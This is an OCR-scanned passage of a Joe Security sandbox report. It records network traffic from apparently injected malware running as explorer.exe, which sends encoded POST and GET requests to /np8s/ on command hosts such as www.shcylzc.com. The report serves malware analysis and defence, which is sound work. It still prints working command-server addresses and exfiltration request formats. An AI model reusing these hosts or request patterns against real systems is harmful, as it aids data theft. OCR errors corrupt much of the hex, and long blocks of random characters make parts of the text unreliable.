aC6C15sG5WwpX8VtlfgjtxzdTm87Y (pwflAeRp3G QHoWXenC9OKZr5mlJfZCcpfZvnEY|YIE6OWPWatehf5SUBVcOK2j
P3wRuF4p7V4xrwd9fyzgAmV~ekqYN2-HsUmg7eK2shkUPVTI-ixMIWcghNx4RYsvczaMqYNgn9Bpd5LIrnYUZYpSXC
Cig9WBwgn10038bYOcpCZjrp6Rzg6fepVQewus4gYIHtRtFS09xxbbS8J5_(KRF34nXwsfc1XPDOr5V1PV3fTZFFGd
VBYtsH7vIIOzkeouNCmwsdslYmt7FOgiXRFisoyF_ijXvz58dbEi5BdRMCkpUqgN1jasRkUy0xkrqZ4JB9ZxSW9fJDb
ulLreX8W5f11SvM2-iYs5Z5TeK-FvIXyt(S8iIGhRRcI8aNETz0XpNPbNxvMgEOdzDyYUOS5tttCU76lcda~AkdZzO0K
QmdHg3VVDn4J-zB~HFN312ASmKsILDs~4LUAuXasyZL5t6wdm456NxNbERmM338EM1BomoY EW5fr4qT3I
SGG61YzhBkegXTeRolHi_XeY5Vfen06YSfMWLXnRjoorli7afM33HINpIDgOwWV47CFudlJoOmT1zWk2b00I72N2B7C
7K4Y-UefqgSRajvEXbJVao70aVZWShWZEwaullreBm25Vc3Np6S4VyrdLyF9CbXW20dPGaf_m5TBeVZ3Dplva_n9k36
ZnCWQYPHNnghHwy~IWm3vBvh8c9DVu6hVnoaFiKzCxy~ADThilxyxPmhvMxSbl14tQNd9eMjW77Ra~3rS10C_E7sSQ
FR8F-L1KoXzFKNsIXxqlzTSjjk-rDhETMQmdjz56C7mg5p6rki9iEqxplVfL7ieg9ZoUexW1EkvLzyuKufX00R(6m_t
Osy4IEsk9TX5T~LBUOL(-z2YJChcKGjl13Wo0Lbm6e_FUQIW_xX30z6(N3XVWIE2iXeULAMSHr85IXxRCVn2LzG302V
6sLOICMbHJBi2JEXIR2bKET6cw044HWP_IZ(UAzIS|EfgbaBIxsDYDKhteMttZcdPCvaSu_fEKP(VQS4DKMNKMn9Bz
kFPXBgXGnyXivEb18nNZ9upOcINHGC_C4s0Enn60eF53mXgJzuRKEhH4E3uOILS5DSParHctu7s9iPgF3rhksQ25b~
R8PM1YM26ijLjgQv4i8mtWtUhLfTOO09eajo300R8WZuUhAC7rs7ZniMuOad3jmcMCloUCUQqr70sDiX0dhkXLQo~cp5¢c
tWAWmM4_pIGBLxaRv2(pliYimftPxihhr4DgRv~s8 FOnwUpUQwdXeVSgbmIXzPbzwY9VFhu8ZsDX7IAn7bilfOHKABD
8Pg7CfNEIUWQFrHDz~9GqJhQfjXAybsgIL5rsa4PgH2p6ug5n01E78KFfGVITMXMOEA7TrKrZD9UmxJF600z1tHE42
tGKQwgen-02EZKfpMazMPzem_gg~VG1u2ZTM8wnOd9pOQKwIhUmGSIge5ZY7AUeOuBjN1sScvSIVKgbU
RYPKXNECwWTugKEFbCz9(SPq8IrbLfwXE9oWIW8aq4(PsjVnx-2f~boOUEBNZMeHbIN8w

HTTP/1.1 405 Not Allowed

Server: nginx

Date: Fri, 27 May 2022 17:05:34 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 61 36 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6C
6f 77 65 64 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68 69 74
65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63
65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3¢ 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f
6479 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa 0d Oa 30 0d Oa Od Oa

Data Ascii: a6<html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allow
ed</h1></center><hr><center>nginx</center></body></htm|>0

Destination IP  Destination Port Process
185.134.245.113 80 C:\Windows\explorer.exe
Data

GET /np8s/?3fkdoN=uzZkZa9PDR+t761UsjgXNksX18rdkaBR0jzgf+2QyrrEOBTZPOy5IBVEfZpo9ngwjPS7THOCJIS
NA==&Eh=mhUxI HTTP/1.1

Host: www.localbloom.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp T Direction
May 27, 2022 334 IN
19:05:34.529109001
CEST
Session ID Source IP Source Port
16 192.168.2.6 49805
. kBytes . .
T D
imestamp transferred irection
May 27, 2022 340 ouT
19:05:40.009310961
CEST

Copyright Joe Security LLC 2022

23.82.37.10 80

Data

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 27 May 2022 17:05:34 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Expires: Fri, 27 May 2022 18:05:34 GMT

Cache-Control: max-age=3600

Cache-Control: public

Data Raw: 65 33 66 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 3e 0Oa 3c 68 65 61 64 3e Oa 20
2020 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d
65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74
68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 77 77 77 2e 6¢
6f 63 61 6¢ 62 6¢ 6f 6f 6d 2e 6f 6 6¢ 69 6e 65 20 69 73 20 70 61 72 6b 65 64 3¢ 2f 74 69 74 6¢ 65 3e Oa 20 20 20 20 3c
7374 79 6¢ 65 3e Oa 0a 2a 20 7b 6d 61 72 67 69 6e 3a 20 30 3b 70 61 64 64 69 6e 67 3a 20 30 3b 7d Oa Oa 62 6f 64 79
20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 63 63 63 3b 0a 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 41 72 69 61 6¢C
2c 2048 65 6¢ 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b Oa 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70
74 3b 0a 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b Oa 7d Oa O0a 68 31 20 7b Oa 6d 61 72 67 69 6e 3a 20
313070782061 75 746f203230 707820313070 78 3b 0a 63 6f 6¢ 6f 72 3a 20 23 33 34 39 38 64 62 3b Oa 7d Oa
0a 70 20 7b 0a 64 69 73 70 6¢ 61 79 3a 20 69 6e 6¢ 69 6e 65 2d 62 6¢ 6f 63 6b 3b Oa 6d 69 6e 2d 77 69 64 74 68 3a 20
32303070 783b0a6d6l 7267 69 6e 3a 20 61 75 74 6f 20 33 30 70 78 20 31 30 70 78 20 33 30 70 78 3b Oa 7d Oa Oa
2e 63 6f 6e 74 61 69 6e 65 72 20 7b Oa 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0a 74 65 78 74 2d 61 6¢
69 67 6e 3a 20 6¢ 65 66 74 3b 0a 6d 69 6e 2d 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b Oa 6d 61 78 2d 77 69 64 74 68
3220383030 70 78 3b Oa 6d 69 6e 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b 0a 6d 61 72 67 69 6e 3a 20 31 35 25 20
61 75 74 6f 20 30 70 78 20 61 75 74 6f 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 46 46 46 46 46 46 3b Oa 62 6f 72 64
6572 2d 72 61 64 69 75 73 3a 20 32 30 70 78 3b Oa 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b Oa 62 6f 78 2d 73 69 7a
69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b Oa 7d Oa Oa 69 6d 67 2e 6¢ 6f 67 6f 20 7b 0a 77 69 64 74 68 3a 20 61 75
74 6f 3b 0a 6d 61 78 2d 68 65 69 67 68 74 3a 20 35 30 70 78 3b Oa 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b
Oa 62 6f 72 64 65 72 3a 20 30 3b Oa 7d Oa Oa 2e 6¢ 6f 67 6f 63 6f 6e 74 20 7b Oa 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63
65 6e 74 65 72 3b Oa 7d Oa Oa 2e 6¢ 61 6e 67 73 65 6¢ 65 63 74 20 7b Oa 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6¢ 75
74 65 3b 0a 74 6f 70 3a 20 31 30 70 78 3b 0a 72 69 67 68 74 3a 20 31 30 70 78 3b Oa 7d Oa Oa 2e 6¢ 61 6e 67 73 65 6¢
65 63 74 20 69 6d 67 20 7b Oa 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0a 77 69 64 74 68 3a 20 61 75
74 6f 3b 0a 62 6f 72 64 65 72 3a 20 30 3b 0a 6d 61 72 67 69 6e 3a 20 32 70 78 3b Oa 68 65 69 67 68 74 3a 20 31 35 70
78 3b Oa 7d Oa Oa 2e 66 6f 6f 74 65 72 20 7b Oa 63 6f 6¢ 6f 72 3a 20 23 61 61 61 3b 0a 6d 61 72 67 69 6e 3a 20 31 65 6d
20 61 75 74 6f 20 30 70 78 20 61 75 74 6f 3b 0a 66 6f 6e 74 2d 73 69 7a 65 3a 20 38 70 74 3b Oa 74 65 78 74 2d 61 6¢
69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 34 35 30 70 78 3b Oa 7d Oa Oa 20 20 20 20 3c
2f 73 74 79 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa

Data Ascii: e3f<IDOCTYPE html><html><head> <meta charset="UTF-8"> <meta name="viewport" content="width=d
evice-width, initial-scale=1.0"> <title>www.localbloom.online is parked<ftitle> <style>* {margin: 0;padding: 0;}body
{background: #ccc;font-family: Arial, Helvetica, sans-serif;font-size: 11pt;text-align: center;}h1 {margin: 10px auto 20px
10px;color: #3498db;}p {display: inline-block;min-width: 200px;margin: auto 30px 10px 30px;}.container {position: relative;t
ext-align: left;min-height: 200px;max-width: 800px;min-width: 450px;margin: 15% auto Opx auto;background: #FFF
FFF;border-radius: 20px;padding: 20px;box-sizing: border-box;}img.logo {width: auto;max-height: 50px;margin-top:
30px;border: 0;}.logocont {text-align: center;}.langselect {position: absolute;top: 10px;right: 10px;}.langselect img {position:
relative;width: auto;border: O;margin: 2px;height: 15px;}.footer {color: #aaa;margin: 1em auto Opx auto;font-size: 8pt;text-
align: center;min-width: 450px;} </style></head><body>

Destination IP  Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.shcylzc.com

Connection: close

Content-Length: 416

Cache-Control: no-cache

Origin: http://www.shcylzc.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.shcylzc.com/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 33 66 6b 34 6f 4e 3d 35 37 38 43 41 37 64 6f 71 73 77 42 30 65 58 78 49 41 71 33 6¢ 4d 56 78 56 71 76 4e 30
54 4¢c 59 33 6d 65 37 7a 36 42 34 6d 46 4a 4c 68 34 50 2d 4a 68 45 6e 37 35 7e 32 5a 75 6a 48 67 38 61 4b 63 59 67 32
44 3755 41 57 5a 74 70 31 79 56 53 65 68 62 54 47 71 46 36 6a 63 6¢ 79 37 72 66 33 78 6a 45 59 33 51 71 30 65 61 49
59 31 68 43 71 64 4f 67 5f 62 52 71 32 63 54 41 4f 4c 63 58 66 6a 79 70 56 68 45 33 6b 6a 71 75 51 42 72 36 39 69 56 4f
4e 66 49 69 35 46 70 69 33 50 65 37 7a 48 34 53 32 33 33 77 48 4d 2d 78 55 72 47 4c 2d 72 48 45 74 77 43 53 4a 56 67
62 56 62 5f 59 42 74 65 57 50 44 37 6d 46 4f 4a 73 6f 4f 64 6¢ 76 58 68 31 6e 6¢ 4d 4b 62 39 6d 58 61 66 72 52 68 50 69
50 46 6a 4b 36 61 6e 5a 37 6a 66 33 65 66 62 56 57 76 50 75 32 6d 31 38 34 6f 67 42 45 42 72 4c 36 30 70 62 51 69 6a
58 66 7344 76 47 51 51 6a 38 77 41 6f 51 4c 7e 42 61 6¢ 4b 79 65 32 63 67 42 5f 33 71 65 6e 46 56 6d 6e 6a 34 74 54
30 72 76 38 6a 61 45 4d 35 77 39 63 39 4c 68 42 67 79 44 58 43 6d 36 66 49 7244 64 31 7a 71 7a 68 61 41 313952 78
54 62 41 54 5f 52 62 4d 53 51 5f 49 36 6a 77 70 6¢ 56 57 39 76 70 75 49 69 72 36 74 37 56 4a 59 74 72 2d 37 56 50 68
4c 35 37 67 59 5a 35 6f 54 53 50 6d 6b 74 6b 45 28 52 4b 73 28 77 54 45 30 2e 00 00 00 00 00 00 00 00

Data Ascii: 3tk4oN=578CA7dogswB0eXxIAq3IMVxVavNOTLY3me7z6B4mFJLh4P-JhEn75~2ZujHg8aKcYg2D7U
AWZtplyVSehbTGqF6jcly7rf3xJEY3Qq0eal YI1hCqdOg_bRg2cTAOLcXfypVhE3kjquQBr69iVONTfli5Fpi3Pe7zH
4S233wHM-xUrGL-rHEtwCSJVghVb_YBteWPD7mFOJsoOdlvXh1nlIMKb9mXafrRhPiPFjK6anZ7jf3efbVWvPu2m184
0gBEBrL60pbQijXfsDvGQQj8wAoQL~BalKye2cgB_3genFVmnj4tTOrv8jaEM5w9Ic9LhBgyDXCm6flrDd1zgzhaA19
RXTbAT_RbMSQ_16jwplVW9vpulir6t7VJIYtr-7VPhL57gYZ50TSPmktkE(RKs(WTEO.
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Session ID Source IP

17 192.168.2.6

. kBytes
Timestamp transferred
May 27, 2022 348
19:05:40.287153006
CEST

Copyright Joe Security LLC 2022

Source Port

49806

Direction

ouT

Destination IP Destination Port Process
23.82.37.10 80 C:\Windows\explorer.exe
Data

POST /np8s/ HTTP/1.1
Host: www.shcylzc.com
Connection: close
Content-Length: 36488
Cache-Control: no-cache
Origin: http://www.shcylzc.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.shcylzc.com/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 33 66 6b 34 6f 4e 3d 35 37 38 43 41 36 4d 72 31 73 55 45 33 4f 61 68 62 69 71 6a 74 64 6¢ 33 54 4b 72 43 37
7a6e 4c 67 48 4f 33 39 62 77 65 6e 45 77 4d 6b 49 53 59 4e 69 30 76 37 39 32 50 44 73 33 44 6e 63 57 56 63 5a 49 49
4437414158 61 38 30 79 52 64 72 5a 48 76 51 42 4b 45 66 67 63 6¢ 76 77 4a 72 65 78 6a 42 5f 33 51 69 43 64 70 73
59 6e 33 47 71 62 4e 59 6¢ 46 42 71 77 64 54 51 43 50 63 71 67 6a 78 59 4b 68 42 50 6b 6a 61 79 51 41 49 53 36 70 30
4f 53 62 59 6a 7a 41 70 69 75 61 4f 28 42 48 34 6e 56 33 32 4d 48 4d 4c 68 55 71 53 37 2d 28 6b 63 75 6f 69 53 41 52
67 62 53 52 66 56 48 74 64 6a 64 44 2d 47 37 4e 38 73 6f 50 74 6¢ 71 64 51 77 61 79 76 54 62 28 6d 6a 74 66 72 74 45
4f 7a 6a 64 6a 4950 4c 77 36 79 62 51 31 32 35 62 58 37 79 4a 4f 32 69 39 63 34 76 67 42 45 48 72 4c 37 58 70 62 41
69 6a 55 28 73 44 4e 75 51 59 7a 38 7a 4c 6f 51 4f 77 68 61 36 63 43 53 4b 63 68 70 76 33 75 43 4a 51 77 71 6e 6¢ 71
6c54794b 757172714556 38 77 39 61 33 72 68 34 67 79 44 68 43 6e 36 50 49 34 33 64 7a 69 71 7a 6d 38 38 31 6d
42 78 54 51 67 54 39 4b 4c 42 4b 51 2d 73 2d 6a 31 74 66 57 68 46 76 75 39 77 69 72 62 74 37 55 5a 59 74 7e 75 36 41
48 43 6a 38 35 52 59 66 35 4b 54 70 53 6d 41 47 67 6¢ 4b 49 58 50 72 34 46 6b 42 48 4f 4c 44 6e 4e 73 49 66 51 55 35
52 44 4d 6a 61 28 50 72 47 51 33 6¢ 43 34 42 69 39 42 50 78 41 33 39 62 43 6b 51 49 4a 42 74 4f 52 55 41 31 75 68 74
6a 78 6d 35 52 65 46 55 7e 67 42 6f 4e 6f 44 65 6b 79 78 6f 7e 35 32 68 42 6f 70 33 62 6b 57 5a 63 34 4d 64 50 65 62 50
4f 6e 72 47 43 56 78 61 6b 47 6f 51 32 6e 79 5a 48 49 53 65 39 4e 53 4b 7e 6f 67 31 44 57 6b 33 34 76 58 43 74 6d 6b
5a 53 7a 33 6b 73 7555 72 31 66 76 47 69 78 37 50 4f 43 65 34 70 63 52 72 6¢ 4d 75 32 4e 73 38 57 5a 44 4c 4a 5a 30 3
979 34 74 74 67 4a 5f 69 4e 54 6b 55 38 4e 34 6d 31 75 4e 54 48 59 68 66 30 36 4d 76 4d 48 33 49 36 44 36 72 48 42
39 6a4d 76 48 78 7a 64 4d 74 35 6d 79 78 37 68 43 55 74 64 50 55 38 52 4e 47 78 73 44 75 45 41 70 51 50 77 72 75 48
41 3170 76 58 66 4d 36 65 4d 42 79 45 49 64 42 42 64 73 47 4e 6d 76 63 4f 45 45 71 56 49 6e 57 68 6e 63 4c 31 53 67
72 70 68 69 6f 28 34 45 33 54 55 41 52 69 30 64 6d 75 4c 78 74 4b 55 70 61 4b 5f 38 4c 4f 6a 73 30 50 75 45 74 43 50 6d
4d 6a 66 49 31 34 33 33 73 39 52 33 50 58 33 63 30 78 59 43 36 78 68 63 44 45 6b 6d 41 6¢ 34 38 4e 7e 46 5a 2d 66 69
76 77 64 4c 62 73 50 2d 38 61 48 4a 65 6¢ 52 44 46 37 38 56 77 41 55 79 41 30 76 4f 51 74 39 56 34 4f 42 6e 75 71 28
42 75 4c¢ 33 37 6 65 33 64 72 34 39 61 70 67 4f 4c 6b 72 44 45 76 4d 46 4f 58 42 59 71 66 33 69 38 43 50 51 49 44 49
78 50 6a 42 54 62 6e 41 78 4c 36 4f 69 53 74 6d 30 55 41 62 43 73 7e 35 54 44 67 56 74 33 4f 73 6e 43 62 4c 38 76 30
62 6a 44 4b 38 62 57 47 32 6a 4d 62 41 44 78 48 43 51 4a 44 49 76 32 6d 70 4b 4f 35 32 6b 6¢ 61 6a 47 43 48 49 32 36
6a 37 73 48 75 46 4e 54 74 35 70 47 72 46 28 61 44 53 69 49 70 65 6e 4a 53 78 45 6d 4b 61 66 61 38 75 44 63 76 33 4d
55 4e 38 6d 37 33 54 78 5a 57 57 64 32 30 66 6a 4b 58 31 39 77 56 34 5a 48 39 59 69 66 46 75 61 4d 47 4d 34 2d 38 74
65 4c 65 55 65 4e 76 73 78 67 77 48 70 6b 42 41 73 72 33 6f 53 77 51 6a 48 6¢ 4c 73 48 39 61 55 34 45 4c 44 6b 42 79
32 6b 6e 30 57 54 36 56 41 4a 35 34 58 6a 43 52 59 44 4c 79 5f 69 38 57 68 39 59 53 49 51 33 4f 4c 48 70 4f 64 55 35
4b 61 4d 36 4e 4c 74 56 6a 50 44 56 42 36 51 37 33 70 50 52 31 4f 68 2d 79 58 31 74 56 41 4c 74 41 32 58 55 7e 45 5a
64 54 44 43 54 55 37 49 49 74 4c 67 5a 4f 70 68 30 42 69 50 50 51 43 58 73 33 38 71 69 4d 4a 32 31 6b 74 65 30 55 76
7152 68 34 4c 45 78 64 57 74 6f 55 6b 4f 71 61 6a 41 39 56 73 2d 6¢ 38 7e 50 74 41 32 47 6b 67 6¢ 39 66 33 55 79 6e
6C 69 61 69 6a 69 61 66 6d 44 4f 7a 74 69 35 67 62 62 7a 53 4a 4d 34 38 54 48 34 4c 43 44 51 4f 7a 38 6e 6a 4¢ 59 75
32 74 64 31 30 49 50 4c 4f 39 52 79 64 5a 52 76 6¢ 38 74 58 37 79 79 4c 6b 4d 4b 55 48 4d 6a 64 72 31 75 45 53 6b 33
4166 62 77 6e 7a 6a 37 34 32 78 33 42 6b 64 30 48 76 45 30 4e 47 31 41 74 38 4¢c 45 49 51 79 7a 79 4d 53 69 48 67 38
2851 6a 75 67 57 47 6¢c 73 73 7e 5a 67 2d 4a 43 48 78 63 59 54 33 57 63 45 35 51 2d 6f 49 62 31 78 65 73 4b 46 33
Data Ascii: 3fk4oN=578CA6Mr1sUE30ahbiqgjtdI3TKrC7znLgHO39bwenEWMkKISYNiOv792PDs3DncWVcZIID7A
AXa80yRdrZHvQBKEfgclvwJrexjB_3QiCdpsYn3GabNYIFBqwdTQCPcqgjxYKhBPkjayQAIS6p00SbYjzApiuaO(BH
4nV32MHMLhUQGS7-(kcuoiSARgbSRfVHtdjdD-G 7N8soPtlqdQwayvTb(mijtfrtEOzjdjIPLWw6ybQ125b X 7yJO2i9c4
VOBEHrL7XpbAijU(sDNuQYz8zLoQOwha6cCSKchpv3uCJIQwanlglTyKugrqgEV8w9a3rh4gyDhCn6P143dzigzm881m
BXTQQTIKLBKQ-s-j1tfWhFvu9wirbt7UZYt~u6AHCj85RY 5K TpSmMAGgIKIXPr4FkBHOLDNNsIfQUSRDMja(PrGQ3lI
C4Bi9BPxA39bCkQIIBtORUALuhtjxm5ReFU~gBoNoDekyxo~52hBop3bkWZc4MdPebPONrGCVxakGoQ2nyZHISe9INS
K~0g1DWk34vXCtmkZSz3ksuUrlfvGix7POCe4pcRrIMu2Ns8WZDLJIZ09y4ttg_iINTKUSBN4AmM1uNTHYhfO6MVMH3I6D
6rHB9jMvHxzdMt5myx7hCUtdPUBRNGxsDUEApQPwruHA1pvXfM6eMBYEIdBBdsGNmvcOEEqQVInWhncL1Sgrphio(4E
3TUARIOdmuLxtKUpaK_8LOjsOPUEtCPmM]fl1433s9R3PX3c0xYC6xhcDEKmAI48N~FZ-fivwdLbsP-8aHJelRDF78
VWAUYAOvOQt9V40Bnuq(BulL370e3dr49apgOLkrDEVMFOXBYqf3i8CPQIDIXPjBTbnAXL60iStmOUAbCs~5TDgVt30
snCbL8v0bjDK8bWG2jMbADXHCQJDIv2mpKO52klajGCHI26j7sHUFNTt5pGrF(aDSilpenJSxEmKafa8uDcv3MUN8mM
73TXZWWd20fiKX19wV4ZH9YifFuaMGM4-8teLeUeNvsxgwHpkBAsr3oSwWQjHILsH9aU4EL DkBy2knOWTEVAJ54XCR
YDLy_i8Wh9YSIQ30LHpOdU5KaM6NLtVjPDVB6Q73pPR10h-yX1tVALIA2XU~EZdTDCTU7IItLgZOphOBiPPQCXs38q
iMJ21kteOUVQRh4LExdWtoUKOqajA9Vs-I8~PtA2GkgI9f3UynliaijiafmD Ozti5ghbzSIM48TH4LCDQOZz8njLYu2td10IPLO9R
ydZRVI8tX7yyLkMKUHMjdr1uE Sk3Afownzj742x3BkdOHVEONG 1At8LEIQyzyMSiHg8(QjugWGlss~Zg-JCHxcY T3WCE5SQ-
olblxesKF3fypUBZys4AM-AHQpgzPeVucX Tvp3jK4WUXRWMR2PZ-nK5kf83ljfaaOMOfVINMbWCQp~A8tu_6
a00nC5pwtMc2vcS73RzelQ_Cp6xnhilPD771G2clINhKwxq2EAhRCKfb7aDSOTe1RphcOFOEi92jlhRgBpphixbshOW
2iVJ2YB8IA205Q7Ir07izgS2g3J3_nVWSsc0j4LGpwBZ Twisv4yflomEm8z7FhJvIB1BPg-EtCocTQgh2ZRDn0I690
VYjQdQMyYPa9VX5SRjgTe3_MWk_5j7Z5MNdVdPp4tzfsaYr43kBEfhPSyLydAuXB9T_(QOUmzUzpemOImCpK5dF7MU
FVgzOWAHNXtIs945L1YXKUiv5C523EfPU8BVOtY dkaWRFAMCpTyUTK066hAGYlhpteh_YsxjXIK3fWsDatf_e7yO4az
Fx0J3HU8zK LEaE3wHQZ3NjLoculjkD2bljEEMKSKMqY 8HjvmPOBhBcWPLxe5fFAQOUMIYFc8giX6qChN4xftIOGFh9
QgbwybcbOta(s6oPHzRSbcw1FOMA3DCIIEdk3gjHsvT TEBUROXwZhQOgdjCla2rOp_xEm4H73ZVkvHcF~TRzhdXCUQP
RTtk83Webg3k47bO9Ttl-0ckRzCRMOZdlizrNxXoJGnZ3IHr6 GPetaHVOE-BGPjTlleBxkhaGF5gmqg552tnrpalZPI
i80~E09RWS8IWfhvTFEIpci60ujfA7fUSZqglbe TkPTyxccpT8UE(XMiOylw28Ujm67vEvKV8zzhje4CZyCoVZQlruqg
Sxn7Y8Mbfc3jLaevTv6UX(I~LxK1VXxmrNnRWOmMR6SOPOdrdHPBPICdrZbeiiyQNwb3-~0kFnp~RIIC6FiXrCC2_o_H
eVsHn3DvohGKifSZwSwdDEPKL78Q1WIZQS2xRyndBjB2j~3vNIxjXYyZrGZsOr3DNze84MHPhv5VTMIsDRJIwYPgD9I
MtOQAtCEKOpmHOuFxob3VIZ(-ANtDtSqzyhBqCIKI7hvfCZNNZhNMfqlLXJIwJdgm6FDHbRgR_QbJhlbiilpbvhlo00
WIsVDPsgU2hTNfOdQip7nPgwusGEkfwo4wSfcYZCFn9UqCQBA10(GrtISTs8TncTI7GWWRmMDDiIVH40OV9fRfncP0le
QxFUaTB4jYmu2il30aQYWA_KSUYR3DWUOV18sfIry40Ng75rJwB3URqgeXAKC(qdCpSI9ngalpwRXWpt
WMm6MPC(xPNAjZFRpOGN6p91kFpddfXF3HWZzKQ3IZSx0bNz7C6tVQcyEQFwWOINWejJ4sBOhX9Vx6Yal
OnoUYXmRWQ1wVNYgKUVu59bi61xgrhShxdAG6ZsQvICuxK5kHRIvBnzpnNvQ2~DkuZQvx2DITSJqY SRQA6cfui_3mr
0AuezOmvLI395Et~mq7UKFA5ZjwY08_SzH1UZNgGEUN7uoKQwmW (anEtSrS9CZwr8UVgctVovSWNGR5NTCX3s3a2z
uuGbK3KejwdOQptAu~k9bMqfgHIf8Kryl1r(InSxSN6gKjEfxbDaGZiU9qVRzWv5_yvHoh7azJKm-XYMZT_zxnAta(
BsQelfdbz5613(V5gGQ98K2g6Tv4AeyQ4WMd7uTy5Bzf_ OTxzLMgQDZXWCEEYxaCHYaxei_Y2~xTq(srgPbOgH3AG1
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Timestam| LEpee
P transferred

Session ID Source IP
18 192.168.2.6

. kBytes
LLLLEE L transferred
May 27, 2022 367
19:05:40.464359999
CEST
May 27, 2022 378
19:05:40.629200935
CEST
Session ID Source IP
19 192.168.2.6

Copyright Joe Security LLC 2022

Direction

Source Port

49807

Direction

ouT

Source Port

49811

DWwqVghzVri5cllj1P1ec2ICNCNINX9YbrZFWnk1SFKvwgMICABuUIX1~ag87GUS)7AtIrSUAMYaJWF3(LXxQm-aWw8wk
BARMCTGINMmMNSIXmFzxpleG9cF1wNgvnoDmC~EFs8e50Z3j8cv2GJV2e9_SKhKOtnhRqTZE78MAHEIY
VQpFIWUmMroz0c8FJCKicys6jfSAJFVEzhPcpY (fW_h1hgOUP97S(2T6t7Gi9B7Zfbz-GpBR94Bz3wh7PxssP6eE86e
PaMTfzChiwL2GGmUfspc65nDrWA(hgzykXEZKIb2sgdL1HCkVUQ3BmpeyB9tflazyOAeJK_Ej8dzSSALSZF2LXbxCR
mErwF37iaoa8gcALROXFEk1vxSxSjfONnTnel1K9k7k03fAgxn5j~qjPRii_8zv8hZ91fFIQ7LAd1bHPglUf2KalvQ1l
Uv7wXRaRbICV5JJUTzZ9cLo9k(kfINKH1HTPnk21DtGil4ri2Ir95ELbFtMgniDMIPglblonOoxn3ezsmB4Csa6OGA
BfDWCJIMU3Fui9mws0DSnge0sWwO0Yb3Lx7RjBPntJm_3UBoUZaoomeSiN8ksy69mzylYTAMY3qdNijBm3MBEIfR50U
FwDWtCNwcBxkyvRfMb3ELHQbe6CfI5SMKLIuJuUtd5rdhXK8FdOaEflpuc6Njcd~XKgRAvclybpgj~B3n61Ceig2qi
YXRQSvQrp8g3UklisxN5UghwUr(3jV8GinzM1hMIizydVQg0g3Dro9P8PZBJJILMALuy3kYfR2mhoGsLGpmj5zhLnyTSYg
jitsdTfpYoBduj6H5nUdShqY CjVF8qUgRX0pkUPVnJ_pnvuXApYbwGhWQIWniRrkY0oFAczntsgvpmwY ORIdRy2f6e
G80zz~yHgfk4lwBNirFUeRqtV9_4nDn8GR5mdTAVMvw(edOOPVjIncgh5cPMWXv(m2MhainBO8c4kfdCXE4WKhh~-c
VI_AKzgTSHdwaB8qJ(7~RtGKiOMTIxDvCrH6bY8g5PWDVFd2P8rOulK50QLFzGftsm7c

Destination IP Destination Port Process
23.82.37.10 80 C:\Windows\explorer.exe
Data

GET /np8s/?3fk4oN=25l4eedf3LYXj+mrZ2jl60lVDZbg0jTgzRvorLdGhmBPpJDDPx12pMPLDd38wf67F/cvJLWR
DA==&Eh=mhUxI HTTP/1.1

Host: www.shcylzc.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 27 May 2022 17:05:27 GMT

Content-Type: text/html

